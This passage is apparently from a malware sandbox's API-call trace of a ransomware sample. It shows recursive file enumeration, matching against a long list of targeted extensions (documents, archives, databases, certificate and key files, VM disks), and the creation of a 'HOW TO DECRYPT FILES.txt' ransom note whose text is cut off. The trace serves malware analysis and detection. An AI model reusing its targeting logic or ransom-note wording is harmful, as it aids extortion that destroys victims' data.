(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.jpeg") returned 0 [0112.231] lstrlenA (lpString="*.jpeg") returned 6 [0112.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.jpg") returned 0 [0112.231] lstrlenA (lpString="*.jpg") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.png") returned 0 [0112.232] lstrlenA (lpString="*.png") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.php") returned 0 [0112.232] lstrlenA (lpString="*.php") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.cs") returned 0 [0112.232] lstrlenA (lpString="*.cs") returned 4 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.cpp") returned 0 [0112.232] lstrlenA (lpString="*.cpp") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.rar") returned 0 [0112.232] lstrlenA (lpString="*.rar") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.zip") returned 0 [0112.232] lstrlenA (lpString="*.zip") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.html") returned 0 [0112.232] lstrlenA (lpString="*.html") returned 6 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.htm") returned 0 [0112.232] lstrlenA (lpString="*.htm") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.xlsx") returned 0 [0112.232] lstrlenA (lpString="*.xlsx") returned 6 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.xls") returned 0 [0112.232] lstrlenA (lpString="*.xls") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.mp4") returned 0 [0112.232] lstrlenA (lpString="*.mp4") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.ppt") returned 0 [0112.232] lstrlenA (lpString="*.ppt") returned 5 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.pptx") returned 0 [0112.232] lstrlenA (lpString="*.pptx") returned 6 [0112.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.doc") returned 0 [0112.232] lstrlenA (lpString="*.doc") returned 5 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.dot") returned 0 [0112.233] lstrlenA (lpString="*.dot") returned 5 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.docx") returned 0 [0112.233] lstrlenA (lpString="*.docx") returned 6 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.7z") returned 0 [0112.233] lstrlenA (lpString="*.7z") returned 4 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.tar") returned 0 [0112.233] lstrlenA (lpString="*.tar") returned 5 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.bz2") returned 0 [0112.233] lstrlenA (lpString="*.bz2") returned 5 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.gz") returned 0 [0112.233] lstrlenA (lpString="*.gz") returned 4 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.mkv") returned 0 [0112.233] lstrlenA (lpString="*.mkv") returned 5 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.eml") returned 0 [0112.233] lstrlenA (lpString="*.eml") returned 5 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.msg") returned 0 [0112.233] lstrlenA (lpString="*.msg") returned 5 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.edb") returned 0 [0112.233] lstrlenA (lpString="*.edb") returned 5 [0112.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.accdb") returned 0 [0112.234] lstrlenA (lpString="*.accdb") returned 7 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.odb") returned 0 [0112.234] lstrlenA (lpString="*.odb") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.java") returned 0 [0112.234] lstrlenA (lpString="*.java") returned 6 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.asm") returned 0 [0112.234] lstrlenA (lpString="*.asm") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.pfx") returned 0 [0112.234] lstrlenA (lpString="*.pfx") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.pem") returned 0 [0112.234] lstrlenA (lpString="*.pem") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.p12") returned 0 [0112.234] lstrlenA (lpString="*.p12") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.gpg") returned 0 [0112.234] lstrlenA (lpString="*.gpg") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.vsd") returned 0 [0112.234] lstrlenA (lpString="*.vsd") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.odg") returned 0 [0112.234] lstrlenA (lpString="*.odg") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.raw") returned 0 [0112.234] lstrlenA (lpString="*.raw") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.nef") returned 0 [0112.234] lstrlenA (lpString="*.nef") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.svg") returned 0 [0112.234] lstrlenA (lpString="*.svg") returned 5 [0112.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.psd") returned 0 [0112.234] lstrlenA (lpString="*.psd") returned 5 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.vmx") returned 0 [0112.235] lstrlenA (lpString="*.vmx") returned 5 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.vmdk") returned 0 [0112.235] lstrlenA (lpString="*.vmdk") returned 6 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.vdi") returned 0 [0112.235] lstrlenA (lpString="*.vdi") returned 5 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.lay6") returned 0 [0112.235] lstrlenA (lpString="*.lay6") returned 6 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.mpeg") returned 0 [0112.235] lstrlenA (lpString="*.mpeg") returned 6 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.djvu") returned 0 [0112.235] lstrlenA (lpString="*.djvu") returned 6 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.tiff") returned 0 [0112.235] lstrlenA (lpString="*.tiff") returned 6 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.backup") returned 0 [0112.235] lstrlenA (lpString="*.backup") returned 8 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.pdf") returned 0 [0112.235] lstrlenA (lpString="*.pdf") returned 5 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.cert") returned 0 [0112.235] lstrlenA (lpString="*.cert") returned 6 [0112.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.docm") returned 0 [0112.235] lstrlenA (lpString="*.docm") returned 6 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.xlsm") returned 0 [0112.236] lstrlenA (lpString="*.xlsm") returned 6 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.dwg") returned 0 [0112.236] lstrlenA (lpString="*.dwg") returned 5 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.nd") returned 0 [0112.236] lstrlenA (lpString="*.nd") returned 4 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.tlg") returned 0 [0112.236] lstrlenA (lpString="*.tlg") returned 5 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.lgb") returned 0 [0112.236] lstrlenA (lpString="*.lgb") returned 5 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.mov") returned 0 [0112.236] lstrlenA (lpString="*.mov") returned 5 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.xdw") returned 0 [0112.236] lstrlenA (lpString="*.xdw") returned 5 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.ods") returned 0 [0112.236] lstrlenA (lpString="*.ods") returned 5 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.wav") returned 0 [0112.236] lstrlenA (lpString="*.wav") returned 5 [0112.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.mp3") returned 0 [0112.237] lstrlenA (lpString="*.mp3") returned 5 [0112.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.aiff") returned 0 [0112.237] lstrlenA (lpString="*.aiff") returned 6 [0112.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.flac") returned 0 [0112.237] lstrlenA (lpString="*.flac") returned 6 [0112.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.m4a") returned 0 [0112.237] lstrlenA (lpString="*.m4a") returned 5 [0112.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMDiagnostics\\4b5adb098f8ce2890826195454a777b2\\SMDiagnostics.ni.dll", pszSpec="*.csv") returned 0 [0112.237] lstrlenA (lpString="*.csv") returned 5 [0112.237] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba08b05a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba08b05a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba08b05a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x55400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMDiagnostics.ni.dll", cAlternateFileName="SMDIAG~1.DLL")) returned 0 [0112.237] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.237] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xba0d731a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xba0d731a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xba0d731a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4b5adb098f8ce2890826195454a777b2", cAlternateFileName="4B5ADB~1")) returned 0 [0112.237] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.237] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdddc465a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdddc465a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0053, dwReserved1=0x690044, cFileName="SMSvcHost", cAlternateFileName="SMSVCH~1")) returned 1 [0112.238] lstrcmpA (lpString1=".", lpString2="SMSvcHost") returned -1 [0112.238] lstrcmpA (lpString1="..", lpString2="SMSvcHost") returned -1 [0112.238] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.238] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="SMSvcHost" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost" [0112.238] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost") returned 56 [0112.238] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdddc465a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdddc465a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.238] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.238] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdddc465a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdddc465a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.238] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.239] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.239] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdddc465a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdddc465a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="04d794428d635f6a82ac57dd3d6f3628", cAlternateFileName="04D794~1")) returned 1 [0112.239] lstrcmpA (lpString1=".", lpString2="04d794428d635f6a82ac57dd3d6f3628") returned -1 [0112.239] lstrcmpA (lpString1="..", lpString2="04d794428d635f6a82ac57dd3d6f3628") returned -1 [0112.239] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\*.*") returned="*.*" [0112.239] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\", lpString2="04d794428d635f6a82ac57dd3d6f3628" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628" [0112.239] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628") returned 89 [0112.239] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdddc465a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdddc465a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.241] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.241] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdddc465a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdddc465a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdddc465a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.241] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.241] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.241] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd78399, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xddd78399, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xddd78399, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x80600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMSvcHost.ni.exe", cAlternateFileName="SMSVCH~1.EXE")) returned 1 [0112.241] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.241] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMSvcHost.ni.exe") returned -1 [0112.241] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMSvcHost.ni.exe") returned -1 [0112.241] lstrcmpiA (lpString1="", lpString2="SMSvcHost.ni.exe") returned -1 [0112.241] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\*.*") returned="*.*" [0112.241] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\" [0112.241] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\") returned="" [0112.241] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\HOW TO DECRYPT FILES.txt" [0112.241] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\smsvchost\\04d794428d635f6a82ac57dd3d6f3628\\how to decrypt files.txt")) returned 0xffffffff [0112.241] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SMSvcHost\\04d794428d635f6a82ac57dd3d6f3628\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\smsvchost\\04d794428d635f6a82ac57dd3d6f3628\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.242] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service 